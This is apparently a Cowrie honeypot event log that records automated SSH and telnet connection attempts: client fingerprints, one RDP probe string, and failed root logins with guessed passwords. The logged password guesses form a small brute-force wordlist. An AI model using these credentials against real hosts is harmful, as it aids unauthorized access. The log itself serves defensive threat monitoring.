{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:13.089608Z","src_ip":"115.178.75.242","session":"a7f19e53eab6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty87","message":"login attempt [root/qwerty87] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:13.858211Z","src_ip":"115.178.75.242","session":"a7f19e53eab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:15.046436Z","src_ip":"115.178.75.242","session":"a7f19e53eab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":32956,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c785f1037f6","protocol":"ssh","message":"New connection: 207.154.230.149:32956 (159.203.135.109:22) [session: 5c785f1037f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:16.058678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:16.068234Z","src_ip":"207.154.230.149","session":"5c785f1037f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:16.154409Z","src_ip":"207.154.230.149","session":"5c785f1037f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sr1234","message":"login attempt [root/sr1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:16.526316Z","src_ip":"207.154.230.149","session":"5c785f1037f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:17.614866Z","src_ip":"207.154.230.149","session":"5c785f1037f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":36790,"dst_ip":"159.203.135.109","dst_port":22,"session":"79735f136047","protocol":"ssh","message":"New connection: 181.47.9.103:36790 (159.203.135.109:22) [session: 79735f136047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:20.338621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:20.344137Z","src_ip":"181.47.9.103","session":"79735f136047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:20.489852Z","src_ip":"181.47.9.103","session":"79735f136047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"comcast","message":"login attempt [root/comcast] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:21.098086Z","src_ip":"181.47.9.103","session":"79735f136047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":40312,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1010716f804","protocol":"ssh","message":"New connection: 103.122.221.179:40312 (10.17.0.5:22) [session: e1010716f804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:21.197383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:21.203097Z","src_ip":"103.122.221.179","session":"e1010716f804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:22.212067Z","src_ip":"103.122.221.179","session":"e1010716f804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:22.246268Z","src_ip":"181.47.9.103","session":"79735f136047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaqwsx123","message":"login attempt [root/zaqwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:23.004453Z","src_ip":"103.122.221.179","session":"e1010716f804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:24.272593Z","src_ip":"103.122.221.179","session":"e1010716f804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63050,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cdd3c4131a8","protocol":"ssh","message":"New connection: 152.42.212.128:63050 (10.17.0.5:22) [session: 3cdd3c4131a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:32.780759Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:32.785405Z","src_ip":"152.42.212.128","session":"3cdd3c4131a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:32.789065Z","src_ip":"152.42.212.128","session":"3cdd3c4131a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":53606,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d2b78c14ea2","protocol":"ssh","message":"New connection: 2.57.122.238:53606 (159.203.135.109:22) [session: 0d2b78c14ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:33.531086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:33.536979Z","src_ip":"2.57.122.238","session":"0d2b78c14ea2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:33.642247Z","src_ip":"2.57.122.238","session":"0d2b78c14ea2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:33.960407Z","src_ip":"2.57.122.238","session":"0d2b78c14ea2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":57468,"dst_ip":"159.203.135.109","dst_port":22,"session":"0efe5cd4dc09","protocol":"ssh","message":"New connection: 103.149.28.157:57468 (159.203.135.109:22) [session: 0efe5cd4dc09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:34.649866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:34.655117Z","src_ip":"103.149.28.157","session":"0efe5cd4dc09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:34.902592Z","src_ip":"103.149.28.157","session":"0efe5cd4dc09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:35.067216Z","src_ip":"2.57.122.238","session":"0d2b78c14ea2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"737373","message":"login attempt [root/737373] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:35.644720Z","src_ip":"103.149.28.157","session":"0efe5cd4dc09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:36.898170Z","src_ip":"103.149.28.157","session":"0efe5cd4dc09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":51788,"dst_ip":"159.203.135.109","dst_port":22,"session":"dff1dced60fa","protocol":"ssh","message":"New connection: 43.134.27.11:51788 (159.203.135.109:22) [session: dff1dced60fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:42.748377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:42.753285Z","src_ip":"43.134.27.11","session":"dff1dced60fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:42.992184Z","src_ip":"43.134.27.11","session":"dff1dced60fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"boyun2019","message":"login attempt [root/boyun2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:43.975954Z","src_ip":"43.134.27.11","session":"dff1dced60fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:45.218306Z","src_ip":"43.134.27.11","session":"dff1dced60fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40054,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0d33cb1ec66","protocol":"telnet","message":"New connection: 192.119.13.58:40054 (10.17.0.5:23) [session: d0d33cb1ec66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:47.882837Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":48002,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce07cfed956c","protocol":"ssh","message":"New connection: 101.126.22.12:48002 (159.203.135.109:22) [session: ce07cfed956c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:56.672879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:58.050143Z","src_ip":"101.126.22.12","session":"ce07cfed956c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:58.053428Z","src_ip":"101.126.22.12","session":"ce07cfed956c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angela","message":"login attempt [root/angela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:40:58.973900Z","src_ip":"101.126.22.12","session":"ce07cfed956c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.961846351623535,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:25.844553Z","src_ip":"192.119.13.58","session":"d0d33cb1ec66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":50388,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a72b72346c2","protocol":"ssh","message":"New connection: 194.113.233.25:50388 (159.203.135.109:22) [session: 6a72b72346c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:41.729991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:41.734434Z","src_ip":"194.113.233.25","session":"6a72b72346c2","protocol":"ssh"}
